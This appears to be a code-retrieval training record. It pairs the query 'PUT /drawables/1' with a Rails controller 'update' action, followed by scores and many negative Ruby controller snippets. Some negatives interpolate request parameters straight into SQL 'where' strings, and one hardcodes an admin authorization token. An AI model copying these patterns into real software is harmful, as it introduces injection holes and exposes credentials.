"0.44470024",
"0.44299915",
"0.44290513",
"0.44282627",
"0.44268423",
"0.44212142",
"0.44192618",
"0.44167957",
"0.44093916",
"0.44086766",
"0.44056654",
"0.44055703",
"0.44026175",
"0.44025955",
"0.43985087",
"0.43981108",
"0.4393918",
"0.4389492",
"0.43882495",
"0.43874943",
"0.43849844",
"0.43819195",
"0.43754703"
] |
0.59568775
|
1
|
PUT /drawables/1 PUT /drawables/1.json
|
def update
@drawable = Drawable.find(params[:id])
respond_to do |format|
if @drawable.update_attributes(params[:drawable])
format.html { redirect_to @drawable, notice: 'Drawable was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @drawable.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @drawables = Drawable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @drawables }\n end\n end",
"def update\n @drawing = Drawing.find(params[:id])\n\n if @drawing.update_attributes(params[:drawing])\n head :no_content\n else\n render json: @drawing.errors, status: :unprocessable_entity\n end\n end",
"def update\n @draw = Draw.find(params[:id])\n\n respond_to do |format|\n if @draw.update_attributes(params[:draw])\n format.html { redirect_to @draw, notice: 'Draw was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @drawable = Drawable.find(params[:id])\n @drawable.destroy\n\n respond_to do |format|\n format.html { redirect_to drawables_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @draw.update(draw_params)\n format.html { redirect_to @draw, notice: 'Draw was successfully updated.' }\n format.json { render :show, status: :ok, location: @draw }\n else\n format.html { render :edit }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @drawing.update(drawing_params)\n format.html { redirect_to @drawing, notice: 'Drawing was successfully updated.' }\n format.json { render :show, status: :ok, location: @drawing }\n else\n format.html { render :edit }\n format.json { render json: @drawing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @draw = current_user.draws.find(params[:id])\n prevent_if_drawn\n\n respond_to do |format|\n if @draw.update_attributes(params[:draw])\n format.html { redirect_to @draw, notice: 'Draw was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @image_section = ImageSection.find(params[:id])\n ci = @image_section.combined_image\n\n respond_to do |format|\n if @image_section.update_attribute(:sketchpad_json, params[:drawn_json])\n format.html { redirect_to edit_image_section_path(ci.image_sections.sample), \n notice: 'Image section was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @accessory = Accessory.find(params[:id])\n\n respond_to do |format|\n if @accessory.update_attributes(params[:accessory])\n if @accessory.image_path.blank?\n @accessory.update_attributes(:image_path => (\"accessories/default.png\"))\n end\n format.html { redirect_to(@accessory, :notice => 'Accessory was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @accessory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stroke.update(stroke_params)\n format.html { redirect_to @stroke, notice: 'Stroke was successfully updated.' }\n format.json { render :show, status: :ok, location: @stroke }\n else\n format.html { render :edit }\n format.json { render json: @stroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n style = Style.find(params[:id])\n style.update(update_params)\n save_style style.stylable_id\n head :ok\n end",
"def update\n # @attribute_layer = @palette.attribute_layers.find(attribute_layer_params[:id])\n respond_to do |format|\n if @attribute_layer.update(attribute_layer_params)\n format.html { redirect_to [@palette, @attribute_layer], notice: 'Attribute layer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attribute_layer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def create\n @drawable = Drawable.new(params[:drawable])\n\n respond_to do |format|\n if @drawable.save\n format.html { redirect_to @drawable, notice: 'Drawable was successfully created.' }\n format.json { render json: @drawable, status: :created, location: @drawable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @drawable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def drawing_params\n params.require(:drawing).permit(:name, :leds, :user_id, :leds => [])\n end",
"def update\n respond_to do |format|\n if @crossbow.update(crossbow_params)\n format.html { redirect_to @crossbow, notice: 'Crossbow was successfully updated.' }\n format.json { render :show, status: :ok, location: @crossbow }\n else\n format.html { render :edit }\n format.json { render json: @crossbow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @blueprint = Blueprint.find(params[:id])\n\n respond_to do |format|\n if @blueprint.update_attributes(params[:blueprint])\n format.html { redirect_to(blueprint_path(@blueprint), :notice => 'Blueprint was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @blueprint.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @icon.update(icon_params)\n @icon.set_color\n @device = @icon.location_device_id ? Device.find(@icon.location_device_id) : {}\n device = decrypt_device(@device)\n render json: {icon: @icon, device: device || @device}\n end",
"def update\n respond_to do |format|\n if @structure_drawing.update(structure_drawing_params)\n format.html { redirect_to project_sub_project_structure_drawings_path(@project, @sub_project), notice: 'Structure drawing was successfully updated.' }\n format.json { render :show, status: :ok, location: @structure_drawing }\n else\n format.html { render :edit }\n format.json { render json: @structure_drawing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @accessory = Accessory.find(params[:id])\n\n if @accessory.update_attributes(params[:accessory])\n head :no_content\n else\n render json: @accessory.errors, status: :unprocessable_entity\n end\n end",
"def update\n @dragon = Dragon.find(params[:id])\n dragon = dragon_params\n dragon.delete(:guid)\n Dragon.reflect_on_all_associations(:belongs_to).each do |assoc|\n name = assoc.name\n attr_key = assoc.options[:foreign_key] || (name.to_s + \"_id\")\n dragon[attr_key.to_sym] = dragon[name.to_sym].sub(/.*\\//,'') if dragon[name.to_sym]\n dragon.delete(name.to_sym)\n end\n respond_to do |format|\n if @dragon.update_attributes(dragon)\n format.html { redirect_to(@dragon, :notice => 'Dragon was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => custom_item_hash(@dragon), :status => :ok, :location => @dragon }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dragon.errors, :status => :unprocessable_entity }\n format.json { render :json => @dragon.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_radios_for_array(args = {}) \n put(\"/radios.json/#{args[:arrayId]}\", args)\nend",
"def update\n respond_to do |format|\n if @blueprint.update(blueprint_params)\n format.html { redirect_to @blueprint, notice: 'Blueprint was successfully updated.' }\n format.json { render :show, status: :ok, location: @blueprint }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @blueprint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @layer = Layer.find(params[:id])\n\n respond_to do |format|\n if @layer.update_attributes(params[:layer])\n @layers = Layer.all\n format.html { redirect_to @layer, notice: 'Layer was successfully updated.' }\n format.json { render json: {layers: @layers.map {|layer| {id: layer.id, name:layer.name, number_of_polygons: layer.areas.count}}} }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @layer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n service_result = Organizers::BuildJoinTableObjects.call(graphic_params, 'graphic', :update)\n @graphic = service_result.main_object\n\n if service_result.failure?\n render json: {errors: errors_as_array_hash(service_result.message)}, status: :unprocessable_entity\n else\n render :show, status: :ok, location: @graphic\n end\n end",
"def update\n @line = Line.find(params[:id])\n @budget = @line.budget\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client_asset = ClientAsset.find(params[:id])\n if params[:client_asset][:referenceable_type] == \"Asset\"\n # Fetch asset from Asset model\n elsif params[:client_asset][:referenceable_type] == \"Device\"\n @client_asset.referenceable_id = params[:device_id]\n elsif params[:client_asset][:referenceable_type] == \"Computer\"\n @client_asset.referenceable_id = params[:computer_id]\n end\n \n respond_to do |format|\n if @client_asset.update_attributes(params[:client_asset])\n format.html { redirect_to @client_asset, notice: \"#{@client_asset.client_name}'s asset was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @table = Table.find(params[:id])\n\n respond_to do |format|\n if @table.update_attributes(params[:table].permit(:name, :notes, :x, :y, :table_type, :guest_ids => []))\n format.html { redirect_to @table, notice: 'Table was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @table.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @crossbowtype.update(crossbowtype_params)\n format.html { redirect_to @crossbowtype, notice: 'Crossbowtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @crossbowtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end",
"def update\n @glyph = Glyph.find(params[:id])\n\n respond_to do |format|\n if @glyph.update_attributes(params[:glyph])\n format.html { redirect_to @glyph, notice: 'Glyph was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @glyph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |wants|\n if @screw.update_attributes(params[:screw].permit(:size, :length, :threading, :drawer_ids, :drawers, :barcode))\n @screw.drawer_ids = params[:screw][:drawer_ids]\n @screw.save\n flash[:notice] = 'Screw was successfully updated.'\n wants.html { redirect_to(@screw) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @screw.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @keystroke = Keystroke.find(params[:id])\n\n respond_to do |format|\n if @keystroke.update_attributes(params[:keystroke])\n format.html { redirect_to @keystroke, notice: 'Keystroke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @keystroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end",
"def append_to(drawables, layer_type)\n drawables.each do |drawable|\n layer_with(layer_type).append(drawable)\n end\n end",
"def update\n @bubble_tea = BubbleTea.find(params[:id])\n\n if @bubble_tea.update(bubble_tea_params)\n render json: @bubble_tea\n else\n render plain: \"Failed to update drink information\"\n end\n end",
"def update_graphics\n @spriteset.update\n end",
"def update\n if @cow_shade.update(cow_shade_params)\n render :show, status: :ok, location: v1_cow_shade_url(@cow_shade)\n else\n render json: @cow_shade.errors, status: :unprocessable_entity\n end\n end",
"def update #saves and redirects, saves changes\n @line_item = LineItem.find(params[:id])\n @line_item.quantity = params[:quantity]\n @line_item.size_id = params[:size_id]\n @line_item.save\n render json: @line_item\n end",
"def update\n respond_to do |format|\n if @budget.update(budget_params)\n Item.where([\"budget_id = #{params[:id]}\"]).update_all(budget_id: nil)\n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: params[:id])\n end\n end\n format.html { redirect_to budgets_path, notice: \"Budget was successfully updated.\" }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @artefact = Artefact.find(params[:artefact_id])\n\n @asset = @artefact.assets.find(params[:id])\n\n respond_to do |format|\n if @asset.update_attributes(asset_params)\n format.html { redirect_to artefact_path(@artefact), notice: 'Asset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @palette.update(palette_params)\n\n @palette.colors.destroy_all\n\n params[:palette][:colors].each do |value|\n @palette.colors.create(hex_value: value)\n end\n\n format.html { redirect_to @palette, notice: 'Palette was successfully updated.' }\n format.json { render :show, status: :ok, location: @palette }\n else\n format.html { render :edit }\n format.json { render json: @palette.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @knob = Knob.find(params[:id])\n\n respond_to do |format|\n if @knob.update_attributes(params[:knob])\n flash[:notice] = 'Knob was successfully updated.'\n format.html { redirect_to(@knob) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @knob.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fantasy_draft_style.update(fantasy_draft_style_params)\n format.html { redirect_to @fantasy_draft_style, notice: 'Fantasy draft style was successfully updated.' }\n format.json { render :show, status: :ok, location: @fantasy_draft_style }\n else\n format.html { render :edit }\n format.json { render json: @fantasy_draft_style.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @dice = Dice.find(params[:id])\n\n if @dice.update(dice_params)\n head :no_content\n else\n render json: @dice.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @shade.update(shade_params)\n render :show, status: :ok, location: v1_shade_url(@shade)\n else\n render json: @shade.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @lucky_draw.update(lucky_draw_params)\n format.html { redirect_to @lucky_draw, notice: 'Lucky draw was successfully updated.' }\n format.json { render :show, status: :ok, location: @lucky_draw }\n else\n format.html { render :edit }\n format.json { render json: @lucky_draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n if @scribble.update_attributes(params[:scribble])\n format.html { redirect_to @scribble, :notice => 'Scribble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n if @scribble.update_attributes(params[:scribble])\n format.html { redirect_to @scribble, :notice => 'Scribble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n if @scribble.update_attributes(params[:scribble])\n format.html { redirect_to @scribble, :notice => 'Scribble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @dog_poly.update(dog_poly_params)\n format.html { redirect_to @dog_poly, notice: 'Dog poly was successfully updated.' }\n format.json { render :show, status: :ok, location: @dog_poly }\n else\n format.html { render :edit }\n format.json { render json: @dog_poly.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @painting.artwork\n @painting.artwork.purge\n end\n # if @car.pictures\n # @car.pictures.purge\n # end\n respond_to do |format|\n if @painting.update(painting_params)\n format.html { redirect_to @painting, notice: 'Painting was successfully updated.' }\n format.json { render :show, status: :ok, location: @painting }\n else\n format.html { render :edit }\n format.json { render json: @painting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @attribute_layer = AttributeLayer.find(params[:id])\n\n respond_to do |format|\n if @attribute_layer.update_attributes(params[:attribute_layer])\n format.html { redirect_to @attribute_layer, notice: 'Attribute layer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attribute_layer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @border = args[:border] if args.key?(:border)\n @fill = args[:fill] if args.key?(:fill)\n @shape = args[:shape] if args.key?(:shape)\n end",
"def update\n @through_table = ThroughTable.find(params[:id])\n\n respond_to do |format|\n if @through_table.update_attributes(params[:through_table])\n format.html { redirect_to @through_table, notice: 'Through table was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @through_table.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n require 'rest-client'\n response = RestClient.put('localhost:3001/colores/'+@color.id.to_s, color_params.as_json, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'})\n if response.code == 200\n @color = JSON.parse(response.body)\n\n format.html { redirect_to @color, notice: \"Color was successfully updated.\" }\n format.json { render :show, status: :ok, location: @color }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @graphic = Graphic.find(params[:id])\n\n respond_to do |format|\n if @graphic.update_attributes(params[:graphic])\n format.html { redirect_to(@graphic, :notice => 'Graphic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @graphic.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @faction_asset.update(faction_asset_params)\n format.html { redirect_to @faction_asset, notice: 'Faction asset was successfully updated.' }\n format.json { render :show, status: :ok, location: @faction_asset }\n else\n format.html { render :edit }\n format.json { render json: @faction_asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @thickness.update(thickness_params)\n format.html { redirect_to @thickness, notice: 'Thickness was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thickness.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shot = Shot.find(params[:id])\n\n if @shot.update(shot_params)\n head :no_content\n else\n render json: @shot.errors, status: :unprocessable_entity\n end\n end",
"def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n \n @accessory = Accessory.find(params[:id])\n @ibox = Ibox.find(session[:ibox_id])\n @users = @ibox.users.where(:isAdmin => false)\n @containerOld = IboxAccessoriesContainer.find_by_ibox_id_and_accessory_type_id(@ibox.id, @accessory.accessory_type.id)\n @containerOld.accessories.destroy(@accessory)\n @accessoryTypes= AccessoryType.all\n @accessoryTypes.delete(AccessoryType.find_by_name(\"Sensores\"))\n respond_to do |format|\n if @accessory.update_attributes(params[:accessory])\n #guardo el nombre del accesorio en el ibox\n name = @accessory.name #lo asigno para borrarle los espacios para pasarselo al webservice\n iboxExecute(@ibox.ip, @ibox.port, '/cgi-bin/Set.cgi?ZID=' + @accessory.zid + '&ALIAS=' + name.delete(' ') + '&X=' + @accessory.x + '&Y=' + @accessory.y + '&W=' + @accessory.w + '&H=' + @accessory.h + '&Layer=0',@ibox.user,@ibox.password) \n # se agrega al nuevo containter\n if (!@ibox.accessory_types.find_by_name(@accessory.accessory_type.name))\n @ibox.accessory_types << @accessory.accessory_type\n end\n @container = IboxAccessoriesContainer.find_by_ibox_id_and_accessory_type_id(@ibox.id, @accessory.accessory_type.id)\n \n @container.update_attribute(:name, @accessory.accessory_type.name)\n @container.accessories << @accessory \n\n @containers = IboxAccessoriesContainer.where(\"ibox_id = ?\", @ibox.id)\n @accessories = []\n logger.debug \"#################################### container length = #{@containers.length}\"\n @containers.each do |container|\n @accessories << container.accessories\n end\n logger.debug \"#################################### accessories length = #{@accessories.length}\"\n format.js\n else\n logger.debug \"########################################33RENDERIZANDO DENUEVO EDIT\"\n format.js { render :action => \"edit\" }\n end\n end\n end",
"def update\n @dash_type = DashType.find(params[:id])\n\n respond_to do |format|\n if @dash_type.update_attributes(params[:dash_type])\n format.html { redirect_to @dash_type, notice: 'Dash type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dash_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n budget = Budget.find params[:budget_id]\n budget.status = false\n budget.save\n redirect_to budgets_path\n end",
"def update\n @internaldraw = Internaldraw.find(params[:id])\n\n respond_to do |format|\n if @internaldraw.update_attributes(params[:internaldraw])\n format.html { redirect_to(@internaldraw, :notice => 'Internaldraw was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @internaldraw.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @attribute_resources = args[:attribute_resources] if args.key?(:attribute_resources)\n @category = args[:category] if args.key?(:category)\n @data_type = args[:data_type] if args.key?(:data_type)\n @enum_values = args[:enum_values] if args.key?(:enum_values)\n @filterable = args[:filterable] if args.key?(:filterable)\n @is_repeated = args[:is_repeated] if args.key?(:is_repeated)\n @metrics = args[:metrics] if args.key?(:metrics)\n @name = args[:name] if args.key?(:name)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @segments = args[:segments] if args.key?(:segments)\n @selectable = args[:selectable] if args.key?(:selectable)\n @selectable_with = args[:selectable_with] if args.key?(:selectable_with)\n @sortable = args[:sortable] if args.key?(:sortable)\n @type_url = args[:type_url] if args.key?(:type_url)\n end",
"def update\n @fabric = Fabric.find(params[:id])\n\n respond_to do |format|\n if @fabric.update_attributes(params[:fabric])\n format.html { redirect_to @fabric, notice: 'Fabric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fabric.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @on_stage.update(on_stage_params)\n format.html { redirect_to @on_stage.french_scene, notice: 'Appearance was successfully updated.' }\n format.json { respond_with_bip(@on_stage) }\n else\n format.html { render :edit }\n format.json { respond_with_bip(@on_stage) }\n end\n end\n end",
"def update\n @territory = Territory.find(params[:id])\n @territories = Territory.all\n success = true\n shapes = params[:territory][:shape] # all the shapes are saved when a territory changes\n params[:territory][:shape] = params[:territory][:shape][params[:id]] # the shape of the territory we're updating\n success &&= @territory.update_attributes(params[:territory]) # update all attributes of the territory\n @territories.each do |t|\n success &&= t.update_attribute(:shape, shapes[t.id.to_s]) # and the shape of the others\n end\n respond_to do |format|\n if success\n format.html do\n flash[:notice] = 'Territory was successfully updated.'\n redirect_to(@territory)\n end\n format.xml { head :ok }\n format.js do\n render :update do |page|\n page << notify_msg(\"The territory was updated!\")\n # refresh the territories list\n page['territories-list'].replace_html render(:partial => 'list',\n :locals => {:territories => Territory.find(:all)})\n # re-enable the submit button and change it's title\n page['territory_submit'].enable()\n page['territory_submit'].value = 'Save'\n end\n end\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @territory.errors, :status => :unprocessable_entity }\n format.js do\n render :update do |page|\n page << notify_error(\"The territory could not be updated!\");\n end\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @swatch.update(swatch_params)\n format.html { redirect_to @swatch, notice: 'Swatch was successfully updated.' }\n format.json { render :show, status: :ok, location: @swatch }\n else\n format.html { render :edit }\n format.json { render json: @swatch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bluetooth = Bluetooth.find(params[:id])\n\n respond_to do |format|\n if @bluetooth.update_attributes(params[:bluetooth])\n format.html { redirect_to @bluetooth, :notice => 'Bluetooth was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bluetooth.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_canvas.update(api_v1_canvas_params)\n format.html do\n redirect_to @api_v1_canvas, notice: 'Canvas was successfully updated.'\n end\n\n format.json { render :show, status: :ok, location: @api_v1_canvas }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_canvas.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sprite = current_user.sprites.find(params[:id])\n respond_to do |format|\n if @sprite.update_attributes(params[:sprite])\n\tformat.html { redirect_to edit_sprite_path(@sprite), :notice => 'Sprite was successfully updated.' }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n @pix = Pix.find(params[:id])\n\n respond_to do |format|\n if @pix.update_attributes(params[:pix])\n format.html { redirect_to @pix, notice: 'Pix was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pix.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mouth_shape.update(mouth_shape_params)\n format.html { redirect_to @mouth_shape, notice: 'La Forma de Boca ha sido actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @mouth_shape }\n else\n flash[:danger] = \"No se ha podido Procesar la Operacion\"\n format.html { render :edit }\n format.json { render json: @mouth_shape.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_resources(client_id)\n response = self.class.put(\"https://app.klipfolio.com/api/1.0/clients/#{client_id}/resources\", basic_auth: @auth, headers: { \"Content-Type\" => \"application/json\" },\n body: {\n \"resources\": [{\"name\":\"dashboard.tabs.total\", \"value\":1}]\n }.to_json)\n puts response.body\n puts \"Client's resources were updated.\" if response.success?\n end",
"def update\n respond_to do |format|\n if @accessory_type.update(accessory_type_params)\n format.html { redirect_to @accessory_type, notice: 'Accessory type was successfully updated.' }\n format.json { render :show, status: :ok, location: @accessory_type }\n else\n format.html { render :edit }\n format.json { render json: @accessory_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @budget_line.update(budget_line_params)\n format.html { redirect_to @budget_line, notice: 'Budget line was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget_line }\n else\n format.html { render :edit }\n format.json { render json: @budget_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @geometries = args[:geometries] if args.key?(:geometries)\n @id = args[:id] if args.key?(:id)\n @type = args[:type] if args.key?(:type)\n end",
"def update\n respond_to do |format|\n if @circular.update(circular_params)\n format.html { redirect_to @circular, notice: 'Circular was successfully updated.' }\n format.json { render :show, status: :ok, location: @circular }\n else\n format.html { render :edit }\n format.json { render json: @circular.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shot = Shot.find(params[:id])\n @shot.update_attributes(shot_params)\n respond_with @shot\n end",
"def update\n @circle = Circle.find(params[:id])\n\n respond_to do |format|\n if @circle.update_attributes(params[:circle])\n format.html { redirect_to @circle, :notice => 'Circle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @circle.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @dragon = Dragon.find(params[:id])\n\n respond_to do |format|\n if @dragon.update_attributes(params[:dragon])\n format.html { redirect_to @dragon, :notice => 'Dragon was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @dragon.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @accessory.update(accessory_params)\n format.html { redirect_to @accessory, notice: 'Accessory was successfully updated.' }\n format.json { render :show, status: :ok, location: @accessory }\n else\n format.html { render :edit }\n format.json { render json: @accessory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: UserBoards.update(params[\"id\"], params[\"user_board\"])\n end",
"def create\n @draw = Draw.new(params[:draw])\n\n respond_to do |format|\n if @draw.save\n format.html { redirect_to @draw, notice: 'Draw was successfully created.' }\n format.json { render json: @draw, status: :created, location: @draw }\n else\n format.html { render action: \"new\" }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, attributes)\n # attributes = {name: 'chocolate and peanuts', calories: 10}\nend",
"def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @infographic = Infographic.find(params[:id])\n\n respond_to do |format|\n if @infographic.update_attributes(params[:infographic])\n format.html { redirect_to :back, notice: 'Infographic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @infographic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @scaled_shape = args[:scaled_shape] if args.key?(:scaled_shape)\n @scaling_function = args[:scaling_function] if args.key?(:scaling_function)\n end",
"def update\n @through_reference = ThroughReference.find(params[:id])\n\n respond_to do |format|\n if @through_reference.update_attributes(params[:through_reference])\n format.html { redirect_to @through_reference, notice: 'Through reference was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @through_reference.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @action_graphic = ActionGraphic.find(params[:id])\n\n respond_to do |format|\n if @action_graphic.update_attributes(params[:action_graphic])\n format.html { redirect_to(@action_graphic, :notice => 'Action graphic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @action_graphic.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def updateDrawIcon _obj, _args\n \"_obj updateDrawIcon _args;\" \n end",
